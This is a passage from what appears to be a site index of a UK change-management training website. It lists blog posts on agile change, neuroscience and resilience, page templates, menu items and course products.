stakeholders to act by matching our messages to how brains work. By communicating in a brain-friendly way, we reduce the amount of persuading we do. Our messages are assessed by the brain as sensible, logical, and desirable. - [Criteria to create participation in your change](https://agilechangemanagement.co.uk/criteria-to-create-participation-in-your-change/): Criteria based on primary drivers to enhance the effectiveness of your messaging and generate participation in your change. - [How primary drivers in the brain trigger participation in change](https://agilechangemanagement.co.uk/how-primary-drivers-in-the-brain-trigger-participation-in-change/): Primary drivers are the primary forces in the brain, driving automatic responses that we cannot easily control. - [Week 9- Too much work, too little time](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-9/): Finding the positives in this high volume of work on a Saturday morning is a challenge but this is what I came up with on my dawn dog walk. - [Week 8- Finding the positives from Covid lockdowns](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-8/): As we approach the 3rd anniversary of the start of the lockdown, I want to look back at all the positives that came from a frightening time. - [Celebration Plan](https://agilechangemanagement.co.uk/celebration-plan/): Let's concentrate on our successes, let's look back over the last week, month or quarter and celebrate all things we have accomplished, all the skills we have learnt and the relationships we have built. - [Week 7- Getting enjoyment from stress](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-7/): This week I am using a practical technique that taps into 3 core drivers in the brain to reset my brain from stress to enjoyment. - [Week 6- Even the little wins are worth celebrating](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-6/): Sometimes it is from the completion of the mundane tasks that we can find hope and positivity, we can celebrate that we've done them - [Road Mapping to Create Resilience](https://agilechangemanagement.co.uk/road-mapping-to-create-resilience/): We can use the agile planning technique of “road mapping” to provide the certainty and predictability during change that our brains crave. - [Reward strategy](https://agilechangemanagement.co.uk/reward-strategy/): The pleasure from the reward creates the desire for more rewards, which motivates us to keep going the next time we hit a problem. - [Resilience strategy](https://agilechangemanagement.co.uk/resilience-strategy/): Creating a resilience strategy means that we don’t leave resilience to chance, hoping that everyone will be able to cope. It enables us to be more deliberate and intentional if we want to help our stakeholders keep going and overcome the pressures of change. - [Week 5- Engaging with others builds our resilience](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-5/): Ironically the work I was struggling to create was the article and presentation for my resilience webinar this week. - [Creating an Integrated Project and Change Management Plan](https://agilechangemanagement.co.uk/creating-an-integrated-project-and-change-management-plan/): How to create a change management plan for your organisation. A step by step guide for all businesses to get on the road to success - [Week 4- Use your positivity to build positivity in others](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-4/): We must be ready to step in and help others find the positives in their situation, this is essential to resilience building. - [Losing your corporate culture](https://agilechangemanagement.co.uk/losing-your-corporate-culture/): Disney's lay-off/new hire situation appears to have had a catastrophic effect on the culture of the organisation. - [Week 3- Simple, quick resilience techniques](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-3/): Monday was a long day, working late into the night. As it got later and later, I could feel myself getting more unhappy. - [Week 2- Techniques for overcoming your inner critical voice](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-2/): The purpose of this exercise was to remind myself, that I am not useless, but that I have been in a situation of neural overload. - [Capabilities Summary January 2023](https://agilechangemanagement.co.uk/capabilities-summary-january-2023/): By making sure you have the skills needed to deliver these requirements strengthens your interview confidence, and ultimately your job hunting success. - [Week 1- Reframing the negatives to positives](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives/): Isn’t it true, when we have the least time to fix problems, that is when we have problems! Read on to see how I handle problems - [Learn the full scope of change in the Agile Change Agent course](https://agilechangemanagement.co.uk/scope-of-change/): If we want to successfully change how people work, moving from initial implementation to full adoption, we must see past superficial changes. - [Applying Positivity](https://agilechangemanagement.co.uk/applying-positivity/): Telling my brain what to look for makes it far more likely it will find what it has been told to. With very little effort, we are creating a self-fulfilling phropecy. - [Work trends for 2023](https://agilechangemanagement.co.uk/work-trends-for-2023/): Thinking about the trends for work in 2023 is shaping how I explain the value and relevance of the change initiatives I am responsible for. - [Which course is right for me and my team?](https://agilechangemanagement.co.uk/which-course-is-right-for-me-and-my-team/): This table summarises what you will learn and what you will be able to do as a result of attending... - [Change management skills in 2022](https://agilechangemanagement.co.uk/change-management-skills-in-2022/): When it comes to change management skills in 2022 - my view is that it is not enough to simply say that you have change management skills. - [Creating a network of change agents](https://agilechangemanagement.co.uk/creating-a-network-of-change-agents/): Organisational changes impact every role & every layer, so it makes sense to build teams who can take the change directly to those affected. - [How to build a business case for Agile Change training](https://agilechangemanagement.co.uk/how-to-build-a-business-case-for-agile-change-training/): Do you want to build a business case for Agile Change training? Download my toolkit today to help improve your chances. - [Technique to maximise the value of your learning](https://agilechangemanagement.co.uk/technique-to-maximise-the-value-of-your-learning/): Use my slide pack as the template for a short presentation you can give to your team and other colleagues after an event. - [Agile excellence](https://agilechangemanagement.co.uk/agile-excellence/): I was working with an organisation that excels at the agile approach to change. I cannot name them because they... - [Leadership behaviours for an Agile Change culture](https://agilechangemanagement.co.uk/leadership-behaviours-for-an-agile-change-culture/): We know that agility is not a methodology or set of processes or techniques. Agility is the behaviours and attitudes... - [Neuroscience for change management](https://agilechangemanagement.co.uk/neuroscience-for-change-management/): Change management is the practice of applying a structured approach to the transition of an organization from a current state... - [Latest change management qualifications](https://agilechangemanagement.co.uk/latest-change-management-qualifications/): As the author and trainer of two best-selling change management courses, I thought I would highlight their content and explain... - [Overcoming Imposter Syndrome at Work](https://agilechangemanagement.co.uk/overcoming-imposter-syndrome/): If you hold yourself back, I hope this visual of 20 reasons for overcoming imposter syndrome will inspire you. - [3 reasons to get a change management certification](https://agilechangemanagement.co.uk/3-reasons-to-get-a-change-management-certification/): here are my top three reasons to get a change management certification. I work with businesses of all sizes and all can benefit. - [Aligning Agile Change with ADKAR©](https://agilechangemanagement.co.uk/aligning-agile-change-with-adkar/): Introduction In this paper I describe how my Agile Change approach to adopting and embedding new ways of working supports... - [Key trends in change management 2022](https://agilechangemanagement.co.uk/key-trends-in-change-management-2018-2022/): This content is part of the Change Management Profession series of articles, and explains the latest challenges that are currently... - [5 best networking techniques](https://agilechangemanagement.co.uk/5-best-networking-techniques/): Introduction I am the Chief Examiner for the Agile Change Agent qualification, which teaches you practical techniques for scoping, planning... - [Resilience in action](https://agilechangemanagement.co.uk/resilience-in-action/): As you would expect from the title of the book, I took an agile approach, which reduced the stress. Find out more here. - [Diary of hybrid working!](https://agilechangemanagement.co.uk/diary-of-a-hybrid-working/): Week 1 Last week I returned to an office for the first time in 53 weeks. 53 weeks is a... - [Change management skills are life skills](https://agilechangemanagement.co.uk/change-management-skills-are-life-skills/): This weekend where I live some of the restrictions have been lifted. I immediately made use of the chance to... - [Too much talking, not enough doing!](https://agilechangemanagement.co.uk/too-much-talking-not-enough-doing/): The problem I know how important communication is to successful change management, but I have a situation where too much... - [Change in the time of Covid](https://agilechangemanagement.co.uk/change-in-the-time-of-covid/): The following is a description of the points I made during the webinar hosted by the BCS – Chartered Institute... - [Change fatigue is a myth !](https://agilechangemanagement.co.uk/change-fatigue-is-a-myth/): Great discussion this week with some talented change managers about whether “change fatigue” is real? This was part of a... - [Quick tricks for changing your perspective](https://agilechangemanagement.co.uk/quick-tricks-for-changing-your-perspective/): I read a great leadership article this week about doing the right thing for your role, not necessarily the right/easy... - [Lockdown 2.0 – Change fatigue!](https://agilechangemanagement.co.uk/lockdown-2-0-change-fatigue/): The challenge Lockdown 2. 0 has triggered change fatigue in many of us, because it is a great example of... - [Be career Agile](https://agilechangemanagement.co.uk/be-career-agile/): Introduction With so much uncertainty it might seem counter intuitive to plan your career but as we come to the... - [How emergent change really feels!](https://agilechangemanagement.co.uk/how-emergent-change-really-feels/): In a world of constant, continuous change, I need to develop a new skill of “personal horizon scanning” to check my focus is correct. - [Planning Change in Business - 5 Steps to Success](https://agilechangemanagement.co.uk/5-steps-to-plan-a-change/): I have well thought through steps to planning change in business and getting things started in an organised way. - [Changing Change Management](https://agilechangemanagement.co.uk/changing-change-management/): I have been leading transformational change programmes for over 20 years, and during this time I have seen the environment... - [Coping with continuous change](https://agilechangemanagement.co.uk/coping-with-continuous-change/): Introduction We are constantly bombarded by new ideas, asked to change how we are currently doing things, expected to adopt... - [Kick-start our own change!](https://agilechangemanagement.co.uk/kick-start-our-own-change/): Here is a few ideas on how to kick start for change in the new year. Find out about the step I would recommend for success. - [Change manage your career](https://agilechangemanagement.co.uk/change-manage-your-career/): My coaching sessions during this pandemic have raised a common issue: careers hitting a crossroads with the decision between increasingly... - [Top tips for creating successful Change](https://agilechangemanagement.co.uk/top-tips-for-creating-successful-change/): Levels of change keep on increasing. Organisations need to adapt and innovate more than ever to improve, remain competitive and... - [Sharing the value of Change Management](https://agilechangemanagement.co.uk/sharing-the-value-of-change-management/): Too often change management is an after-thought, if it is considered at all. Our profession is not seen as an... - [Introducing the Agile Change Agent course and certification](https://agilechangemanagement.co.uk/introducing-the-agile-change-agent-course-and-certification/): Agile approaches are increasingly adopted by organisations as they recognise the need to respond quickly and easily in a world... - [Webinar: Reducing resistance to Agile methods](https://agilechangemanagement.co.uk/webinar-reducing-resistance-to-agile-methods/): One of the most common causes of resistance to adopting an Agile approach is a lack of understanding of the... - [Agile Change Agent - Free taster session!](https://agilechangemanagement.co.uk/agile-change-agent-free-taster-session/): We are excited to be able to share with you the footage from the free Agile Change Agent Taster session!... - [How to plan an Agile change initiative](https://agilechangemanagement.co.uk/how-to-plan-an-agile-change-initiative/): It is a myth that Agile approaches do not involve any planning. In fact, the opposite is true; there is... - [Demystifying Agile](https://agilechangemanagement.co.uk/demystifying-agile/): Part One This content is part of the Ultimate Guide to Agile series and the content describes the basics of... - [Practical tips for creating a network of Change Agents](https://agilechangemanagement.co.uk/practical-tips-for-creating-a-network-of-change-agents/): Find out the process of creating a network of Change Agents within your organisation. Watch the video for full details. - [Breaking through the challenges of Agile Implementation](https://agilechangemanagement.co.uk/breaking-through-the-challenges-of-agile-implementation/): In this webinar, I explain the meaning behind these three common words: • Agile – flexible, get things done faster.... - [Key challenges In managing a Change Programme](https://agilechangemanagement.co.uk/a-talk-with-richard-pharro-key-challenges-in-managing-a-change-programme-with-melanie-franklin/): During Melanie’s conversation with Richard Pharro, CEO of APMG International, they explore how to help people overcome the fear factor... - [Virtual leadership and the new normal](https://agilechangemanagement.co.uk/virtual-leadership-and-the-new-normal/): https://www. youtube. com/watch? v=QmtR1_lGOsw - [Key roles in change management](https://agilechangemanagement.co.uk/key-roles-in-change-management/): Change Agent – you have a full time operational role, and you have to help implement new ways of working,... - [How to Build a Change Agent Network](https://agilechangemanagement.co.uk/practical-steps-to-build-your-change-agent-network/): How to build a change agent network and why change agents are so important to your organisation change initiative. - [New certainties - Job Hunters in 2020](https://agilechangemanagement.co.uk/new-certainties/): Job hunters fall into two categories. Those not in work and those currently working in a role looking for a new position. - [Virtual leadership of Change Teams](https://agilechangemanagement.co.uk/virtual-leadership/): Introduction I am currently trying to drive two major change initiatives, and as all those involved are now working from... - [Experience versus qualifications](https://agilechangemanagement.co.uk/experience-versus-qualifications/): I lead transformational change in organisations, and as part of my role, I am responsible for developing the internal capability... - [Transitioning from furlough to a return to work](https://agilechangemanagement.co.uk/transitioning-from-furlough-to-a-return-to-work/): In the UK there has been a formal “furlough” programme, supported by the government, to pay 80% of the wages... - [Navigating the "new" normal](https://agilechangemanagement.co.uk/navigating-the-new-normal/): In these difficult times for everyone, i am sharing how navigating the "new" normal is helping me within my business. - [Becoming a virtual Change Leader](https://agilechangemanagement.co.uk/becoming-a-virtual-change-leader/): Listening to various governments around the world, as they ease lockdown restrictions, those in the knowledge economy (me and you)... - [Behaviour change is very hard!](https://agilechangemanagement.co.uk/behaviour-change-is-very-hard/): As part of an assignment for a client I am developing a “playbook” of techniques to address lots of different... - [Selling change to reluctant stakeholders](https://agilechangemanagement.co.uk/selling-change-to-reluctant-stakeholders/): Effective change management involves influencing, motivating, and persuading those impacted thatthey want to abandon their current ways of working, and... - [Creating the "new" normal!](https://agilechangemanagement.co.uk/creating-the-new-normal/): Introduction Many organisations are currently in a “crisis” mode, where they are doing what they can to service their customers... - [Finding your Change Agents](https://agilechangemanagement.co.uk/finding-your-change-agents/): Write up of a fascinating meetup from the London Chapter of the Change Agent Network in November 2019 looking at... - [Benefits of an Evolving Solution](https://agilechangemanagement.co.uk/benefits-of-an-evolving-solution/): One of the most common causes of resistance to adopting an Agile approach is a lack of understanding of the... - [Agile Change Agent online session plan](https://agilechangemanagement.co.uk/agile-change-agent-online-session-plan/): Now available through virtual learning After extensive trials, on-line delivery of this course, with excellent feedback from delegates on level... - [Change Management Practitioner online session plan](https://agilechangemanagement.co.uk/change-management-practitioner-session-plan/): After extensive trials, on-line delivery of this course, with excellent feedback from delegates on level of interactivity and ability to... - [Practical Guide to Uncertainty](https://agilechangemanagement.co.uk/practical-guide-to-uncertainty/): Introduction As someone who works all over the world, Coronovirus has added an extra layer of uncertainty to my work.... - [The value of Change Management](https://agilechangemanagement.co.uk/the-value-of-change-management/): Change management involves introducing change, and in an organisation context, this means introducing new ways of working. We know that... - [Resistance to change](https://agilechangemanagement.co.uk/resistance-to-change/): Change Management Institute UK event – Addressing resistance to change Fantastic event by People Deliver Projects who sent along their... - [Know what's coming next!](https://agilechangemanagement.co.uk/know-whats-coming-next/): Introduction On a family holiday last week so didn’t read my emails much, so this weekend scooting through trying to... - [Professional Change Management](https://agilechangemanagement.co.uk/professional-change-management/): Introduction Working with an amazing group of Change Agents last week, so committed to making change happen in their organisation.... - [Top 4 Change Agent Skills](https://agilechangemanagement.co.uk/top-4-change-agent-skills/): Introduction In a recent Change Management Institute debate, the most often cited quality was emotional intelligence. This included the ability... - [Agile leads to honesty!](https://agilechangemanagement.co.uk/agile-leads-to-honesty/): Introduction I am helping an organisation transition from waterfall to Agile project management. This has led to lots of discussions... - [Lessons learned - reinforcing change](https://agilechangemanagement.co.uk/lessons-learned-reinforcing-change/): Introduction I attended numerous presentations last week which identified how critical senior leader commitment to change really is. This isn’t... - [Lessons learned - Change Agents](https://agilechangemanagement.co.uk/lessons-learned-change-agents/): Introduction Working with a new group of Change Agents last week, I thought I would share their lessons learned. Lesson... - [Lessons learned - Agile for teams](https://agilechangemanagement.co.uk/agile-for-teams/): Introduction I attended an inspiring talk on using neuroscience to create high performing teams by Kamila Sip, Director of Neuroscience... - [Lessons learned - prioritising](https://agilechangemanagement.co.uk/lessons-learned-prioritising/): Introduction At a presentation by Don Harrison, President of IMA, I was totally inspired by his comment “stop talking about... - [Making the argument for portfolio management](https://agilechangemanagement.co.uk/making-the-argument-for-portfolio-management/): I have been talking a lot recently about enterprise change management, the need to manage all the changes that an... - [Neuroscience](https://agilechangemanagement.co.uk/neuroscience/): Fantastic event in Bristol this week on neuroscience for change management. Brilliant speaker, Tom Flatau from Team Working International gave... - [Agile lessons learned](https://agilechangemanagement.co.uk/agile-lessons-learned/): Introduction Running an Agile workshop for those new to Agile this week, and two lessons learned really jumped out at... - [Design Thinking](https://agilechangemanagement.co.uk/design-thinking/): So many ‘lightbulb’ moments for me at this thought provoking event Change Management Institute UK event, but key ones I... - [Critical Success Factors for Digital Transformation](https://agilechangemanagement.co.uk/critical-success-factors-for-digital-transformation/): Digital transformation must be treated as a cultural change, so the assumptions, values and priorities of the organisation must be defined. - [Guide to creating Personas](https://agilechangemanagement.co.uk/guide-to-creating-personas/): Use this mind map of potential questions to answer to develop personas for your stakeholders impacted by change. If you... - [Building a relationship with your programme sponsor](https://agilechangemanagement.co.uk/building-a-relationship-with-your-programme-sponsor/): Find out all your need to know about building a relationship with your programme sponsor from Agile Change Management. - [Change Overload!](https://agilechangemanagement.co.uk/change-overload/): The high volume of change taking place in organisations causes concerns for those of us implementing change and for those... - [Ambitious in an Agile world](https://agilechangemanagement.co.uk/ambitious-in-an-agile-world/): It sounds like a lot of hard work but it's more fun to be proactive and take control of your career than to wait until someone notices you! - [Feeling overwhelmed by change](https://agilechangemanagement.co.uk/feeling-overwhelmed-by-change/): Introduction At a recent webinar, I was asked this question: “As a working manager, how can you reduce declining trust... - [Tactical Agile AND Strategic Agile](https://agilechangemanagement.co.uk/tactical-agile-and-strategic-agile/): I go to a lot of Agile Meetups where we discuss specific aspects of improving agile team performance. Some of the examples include - [Agile Change Management](https://agilechangemanagement.co.uk/agile-change-management/): Introduction Enterprise change management is becoming an issue we need answers for. I am using the word enterprise to represent... - [Change is changing!](https://agilechangemanagement.co.uk/change-is-changing/): To sum up, for those of us in Change Management consultancy roles, this is the year to provide lots of practical help. - [Change Management Masterclass](https://agilechangemanagement.co.uk/change-management-master-class/): Change management training is become an important element for staff development, as organisations seek to increase the number of people... - [It is time to understand Agile!](https://agilechangemanagement.co.uk/it-is-time-to-understand-agile/): Agile is a buzzword that everyone is talking about, but which is interpreted differently depending who you talk to. - [Trends in Change Management 2019](https://agilechangemanagement.co.uk/trends-in-change-management-2019/): Welcome to my predictions for the issues and challenges that I think will shape our change management profession in 2019.... - [Curiosity is essential for effective change management](https://agilechangemanagement.co.uk/curiosity-is-essential-for-effective-change-management/): Things to take into consideration when working on curiosity and change management. Contact us for more information. - [Emotional resilience key to effective Change Management](https://agilechangemanagement.co.uk/emotional-resilience-key-to-effective-change-management/): Change Management continues to develop as a profession. I attended a fantastic presentation from Dr. Aarti Anhal on emotional resilience. - [Change management challenges for 2019](https://agilechangemanagement.co.uk/change-management-challenges-for-2019/): The theme of our launch event in Cardiff was latest trends in change management. Alex Aviles gave a summary of... - [7 challenges for the business created by Agile project delivery](https://agilechangemanagement.co.uk/7-challenges-for-the-business-created-by-agile-project-delivery/): What can we identify as 7 challenges for the business created by agile project delivery? Find out what we can offer here. - [Key people for effective business change](https://agilechangemanagement.co.uk/key-people-for-effective-business-change/): To generate the level of involvement needed to make change real, I actively seek out people who enjoy creating processes and are focused. - [How to create a learning organisation](https://agilechangemanagement.co.uk/how-to-create-a-learning-organisation/): How to create a learning organisation - the challenge, the problems and the solutions. Contact Agile Change Management for more information. - [Why don't people use our work?](https://agilechangemanagement.co.uk/why-dont-people-use-our-work/): This presentation was delivered at Agile Tour London presentation Friday October 19th 2018. The objective of the presentation was to... - [Introduction to Agile Change Management](https://agilechangemanagement.co.uk/introduction-to-agile-change-management/): Agile change management is a term that is picking up momentum around the world. In 2014 I wrote a book... - [Knowing Agile makes me cleverer!](https://agilechangemanagement.co.uk/knowing-agilepm-makes-me-cleverer/): In a project scoping meeting this week I realised how much of my knowledge about Agile concepts and techniques has seeped into my DNA. - [Macro level change activities](https://agilechangemanagement.co.uk/macro-level-change-activities/): Core responsibilities The role of a Change Professional (I have stopped calling myself a Change Manager as the term is... - [Explaining change in the Workplace](https://agilechangemanagement.co.uk/explaining-change/): Found out more about critical success factors for explaining change in the workplace to employees and stakeholders. - [Creating integrated change plan](https://agilechangemanagement.co.uk/creating-integrated-plan/): The purpose of this paper is to explain the need for an integrated plan that covers both project deliveryand the... - [Top tips for effective Sponsorship](https://agilechangemanagement.co.uk/top-tips-for-effective-sponsorship/): If you're looking for top tips for effective Sponsorship then look no further. Find out all there is to know from Agile Change Management. - [Use pictures to explain culture change](https://agilechangemanagement.co.uk/use-pictures-to-explain-culture-change/): Using pictures to explain cultural change is a great way to increase the understanding of all involved. Find out more. - [Best jobs need qualifications](https://agilechangemanagement.co.uk/best-jobs-need-qualifications/): As everyone returns to work after the summer break, many in my network are asking me for advice on applying... - [Create scenarios for change](https://agilechangemanagement.co.uk/create-scenarios-for-change/): Organisational change, by its very nature is uncertain. The best we can hope for is clarity about what we hope... - [Importance of Best Practice](https://agilechangemanagement.co.uk/importance-of-best-practice/): I’m currently kicking off two big cultural change initiatives for my clients. As these programmes affect the reputation of each... - [Change Management Office](https://agilechangemanagement.co.uk/change-management-office/): In this paper I explore the functions and benefits of establishing a team that has the capability to: Accurately assess... - [Effective change management strategies](https://agilechangemanagement.co.uk/effective-change-management-strategies/): What are the most effective change management strategies? Take a look at what how to manage change in your organisation here. - [Top 3 Principles of Agile Project Management](https://agilechangemanagement.co.uk/top-3-principles-of-agile-project-management/): My 3 Principles of Agile Project Management – they are easy to describe but take a lot of hard work and commitment to put in place. - [Cascading Change](https://agilechangemanagement.co.uk/cascading-change/): Organisations all over the world are experiencing high volumes of change as a result of Agile methods, which create continuous,... - [Culture created by use of space](https://agilechangemanagement.co.uk/culture-created-by-use-of-space/): Change Management Institute UK put on a great event hosted by Kinnarps and Condeco on Tuesday night about how the... - [Agile - collaborative way of working](https://agilechangemanagement.co.uk/agile-collaborative-way-of-working/): To enable Agile working practices, it is important to involve areas of the business that support those working in an... - [Trends in Change Management 2018: half year update](https://agilechangemanagement.co.uk/trends-in-change-management-2018-half-year-update/): As we are halfway through the year I have been reviewing the paper I wrote about trends in Change Management... - [Managing high volumes of Change](https://agilechangemanagement.co.uk/managing-high-volumes-of-change/): One of the most well received sessions in my Change Management Practitioner course is a debate on the practical solutions... - [Quick guide to Change Management](https://agilechangemanagement.co.uk/quick-guide-to-change-management/): Change Management is a hot topic and there are lots of exciting change management related jobs paying high salaries as... - [Portfolio Management is important for Change](https://agilechangemanagement.co.uk/portfolio-management-is-important-for-change/): Portfolio Management is the set of processes and activities that identify, prioritise and track the progress of all initiatives needed... - [Value of effective portfolio management](https://agilechangemanagement.co.uk/value-of-effective-portfolio-management/): My role is to help organisations build their capability for change. This involves developing their change management methods, training staff,... - [How the Change Management profession needs to progress](https://agilechangemanagement.co.uk/how-the-change-management-profession-needs-to-progress/): One of the things that can be guaranteed when I am with my change management colleagues at the UN is... - [Change management + expert negotiation](https://agilechangemanagement.co.uk/change-management-expert-negotiation/): A frequent discussion on my Change Management Practitioner courses is that Change Management is not the most appropriate title for... - [Criticality of Change Management skills](https://agilechangemanagement.co.uk/criticality-of-change-management-skills/): The announcement from Rolls Royce of the loss of 4000 predominantly management jobs is another example of why skills to... - [Impact of Agile on Change Management](https://agilechangemanagement.co.uk/impact-of-agile-on-change-management/): Agile approaches and techniques are having significant impact on the volume, frequency and type of change that is taking place... - [Change Managers and Agile teams need to adapt](https://agilechangemanagement.co.uk/change-managers-and-agile-teams-need-to-adapt/): Why Agile is changing how we manage change 22nd June 2018 – 13:00-14:00 Agile methods drive a stream of continuous... - [Change Management in 2018: discover the latest trends](https://agilechangemanagement.co.uk/change-management-in-2018-discover-the-latest-trends/): Trends discussed Start 2018 fully informed about how the change management profession is changing, and the impact this has on... - [Change Agent not secret agent!](https://agilechangemanagement.co.uk/change-agent-not-secret-agent/): Examining the role of the Local Change Agent. Increasingly, organizations are recognising that the only way they are going to... - [Agile continues to grow](https://agilechangemanagement.co.uk/agile-continues-to-grow/): The 12th annual State of Agile report has recently been published, with some interesting insights. Here are my key takeaways:... - [Why Agile is changing how we manage change](https://agilechangemanagement.co.uk/why-agile-is-changing-how-we-manage-change/): Agile methods drive a stream of continuous change into the business. Some organisations are struggling to manage this volume of... - [Benefits through change](https://agilechangemanagement.co.uk/benefits-through-change-management/): Thought provoking survey just been released by Wellingtone: State of Project Management Survey 2018. These are my takeaways from the... - [Project Managers and behavioural change](https://agilechangemanagement.co.uk/project-managers-behavioural-change/): I believe that to be an effective Project Manager, an appreciation of what is required to create behavioural change is... - [Sponsorship of behavioural change](https://agilechangemanagement.co.uk/sponsorship-of-change/): Development of Sponsor programmes In the last year I have been asked for sponsor development programmes to enable organisations to... - [Latest PMI BoK is a wasted opportunity](https://agilechangemanagement.co.uk/latest-pmi-bok-is-a-wasted-opportunity/): I believe that to be an effective Project Manager, an appreciation of what is required to create behavioural change is... - [Adopting Agile is a cultural change](https://agilechangemanagement.co.uk/adopting-agile/): Adopting Agile is a cultural change - [Project Management is changing](https://agilechangemanagement.co.uk/project-management-is-changing/): Quick summary of a speech I am giving at Project Challenge on Wednesday about the future of project management. Do... - [Millennials and Change Management](https://agilechangemanagement.co.uk/millennials-and-change-management/): Motivating Millennials I am always interested in how to motivate, enthuse and ultimately to persuade people to participate in change.... - [Trends in Change for the year ahead 2018](https://agilechangemanagement.co.uk/trends-in-change-for-the-year-ahead-2018/): Trends in Change Management for 2018 - [Emotional resilience](https://agilechangemanagement.co.uk/emotional-resilience/): Change Management for Change Managers - [Change Consultant Interview Tips](https://agilechangemanagement.co.uk/change-consultant-interview-tips/): I am always benchmarking what I teach in my Change Management Practitioner course to the real world needs of those... - [Top 5 questions for your trainer](https://agilechangemanagement.co.uk/top-5-questions-for-your-trainer/): Too often the person standing at the front of the room is a dedicated trainer who hasn’t had any practical... - [Why we need Change Managers?](https://agilechangemanagement.co.uk/why-we-need-change-managers/): All management is change management This article has got me thinking https://hbr. org/2017/10/all-management-is-change-management In essence, it is making the point... - [Age of experimentation](https://agilechangemanagement.co.uk/age-of-experimentation/): All management is change management In this article, Robert Schaffer https://hbr. org/2017/10/all-management-is-change-management argues that all management involves change management, as... - [Qualifications are important](https://agilechangemanagement.co.uk/qualifications-are-important/): Structured knowledge base is low This blog is based on my experiences over the last couple of weeks. I am... --- ## Mega Menu Items - [elementor-mega-item-20313](https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-20313/): What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile... - [elementor-mega-item-504](https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-504/): - [elementor-mega-item-38](https://agilechangemanagement.co.uk/jet-menu/elementor-mega-item-38/): What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile... --- ## JetWooBuilder Templates --- ## My Templates - [Mega Menu - Training](https://agilechangemanagement.co.uk/?elementor_library=mega-menu-training): What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile... - [Post Block](https://agilechangemanagement.co.uk/?elementor_library=post-block): Featured Post Trending - [The Events Calendar - Dynamic template](https://agilechangemanagement.co.uk/?elementor_library=the-events-calendar-dynamic-template): « All Events Using Agile Change to outpace your workload May 9, 2024 @ 12:30 – 13:30 Free Categories: Live... - [The Events Calendar - Starter](https://agilechangemanagement.co.uk/?elementor_library=the-events-calendar-starter): « All Events Using Agile Change to outpace your workload May 9, 2024 @ 12:30 – 13:30 Free Categories: Live... - [Events Single](https://agilechangemanagement.co.uk/?elementor_library=events-single): - [LearnDash Single Topic](https://agilechangemanagement.co.uk/?elementor_library=learndash-single-topic): - [LearnDash Single Quiz](https://agilechangemanagement.co.uk/?elementor_library=learndash-single-quiz): - [LearnDash Single Lesson](https://agilechangemanagement.co.uk/?elementor_library=learndash-single-lesson): - [LearnDash Single Course](https://agilechangemanagement.co.uk/?elementor_library=learndash-single-course): Self-Paced - [TrustPilot](https://agilechangemanagement.co.uk/?elementor_library=trustpilot): Trustpilot I really enjoyed the Agile Change★★★★★Steven Hagen Read More I really enjoyed the Agile Change training course. It was... - [In-House Video](https://agilechangemanagement.co.uk/?elementor_library=in-house-video): Play Video - [CMP Video](https://agilechangemanagement.co.uk/?elementor_library=cmp-video): Play Video - [ACC Video](https://agilechangemanagement.co.uk/?elementor_library=acc-video): Play Video - [ACA Video](https://agilechangemanagement.co.uk/?elementor_library=aca-video): Play Video - [About test](https://agilechangemanagement.co.uk/?elementor_library=about-test): Why Choose Melanie? The Story The Change Management Practitioner is the definitive certification for professionals dealing with organizational change, transition... - [about](https://agilechangemanagement.co.uk/?elementor_library=about): Why is Melanie such an expert in change management Melanie has dedicated the last 20 years to understanding then communicating... - [Search](https://agilechangemanagement.co.uk/?elementor_library=elementor-archive-10773): Search Insights & Resources Featured Benefits of Change Management Training Read More Using AI for L&D Ideas Read More Executive... - [Subscribe form](https://agilechangemanagement.co.uk/?elementor_library=subscribe-form): - [Category](https://agilechangemanagement.co.uk/?elementor_library=category): Search Insights & Resources Featured Featured Post Essentials of Change Management Read More Trending Building Change Capability Key Principles Agile... - [Default Kit](https://agilechangemanagement.co.uk/?elementor_library=default-kit): - [posts](https://agilechangemanagement.co.uk/?elementor_library=posts): Mental health benefits of Agile Posted by Melanie FranklinJune 24, 2019Comments: 0Introduction I am in the middle of a challenging... - [Single Product](https://agilechangemanagement.co.uk/?elementor_library=single-product): Are you self-funding your attendance? We have a 15% discount for you. Enter the code LEARN15 at checkout for 15%... - [Single](https://agilechangemanagement.co.uk/?elementor_library=single): Subscribe to Melanie’s Agile Change newsletter Subscribe here - [Page](https://agilechangemanagement.co.uk/?elementor_library=page): Download our Agile Change Guide - [Footer](https://agilechangemanagement.co.uk/?elementor_library=footer): Join The Change Conversation Subscribe to our newsletter to keep up to date with the latest news and upcoming training... - [How I can help](https://agilechangemanagement.co.uk/?elementor_library=how-i-can-help): Train with Melanie This makes for a fascinating course, where you learn so much more than the words on the... - [Header](https://agilechangemanagement.co.uk/?elementor_library=header): Training What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent... --- ## Series - [Amplify Agile with Neuroscience](https://agilechangemanagement.co.uk/series/amplify-agile-with-neuroscience/): --- ## Products - [Change for Project Professionals](https://agilechangemanagement.co.uk/product/change-for-project-professionals/): - [Overcoming Imposter Syndrome](https://agilechangemanagement.co.uk/product/overcoming-imposter-syndrome/): - [Change for Non-Change Managers](https://agilechangemanagement.co.uk/product/change-for-non-change-managers/): - [Digital Leadership](https://agilechangemanagement.co.uk/product/digital-leadership/): - [Creating Insights to Drive Better Change Outcomes](https://agilechangemanagement.co.uk/product/creating-insights-to-drive-better-change-outcomes/): - [Build your Change Network](https://agilechangemanagement.co.uk/product/build-your-change-network/): - [Neuroscience for Change](https://agilechangemanagement.co.uk/product/neuroscience-for-change/): By completing the Neuroscience for Change course you will have access to a comprehensive toolkit of practical techniques to understand adopting change. - [Agile Change Coach](https://agilechangemanagement.co.uk/product/agile-change-coach/): - [Agile Change Coach Virtual Classroom Course](https://agilechangemanagement.co.uk/product/agile-change-coach-course/): This Agile Change Coach Course is packed full of “neuro-hacks” that help us lead through the transition from old to new ways of working. - [Agile Change Management Course And Exam 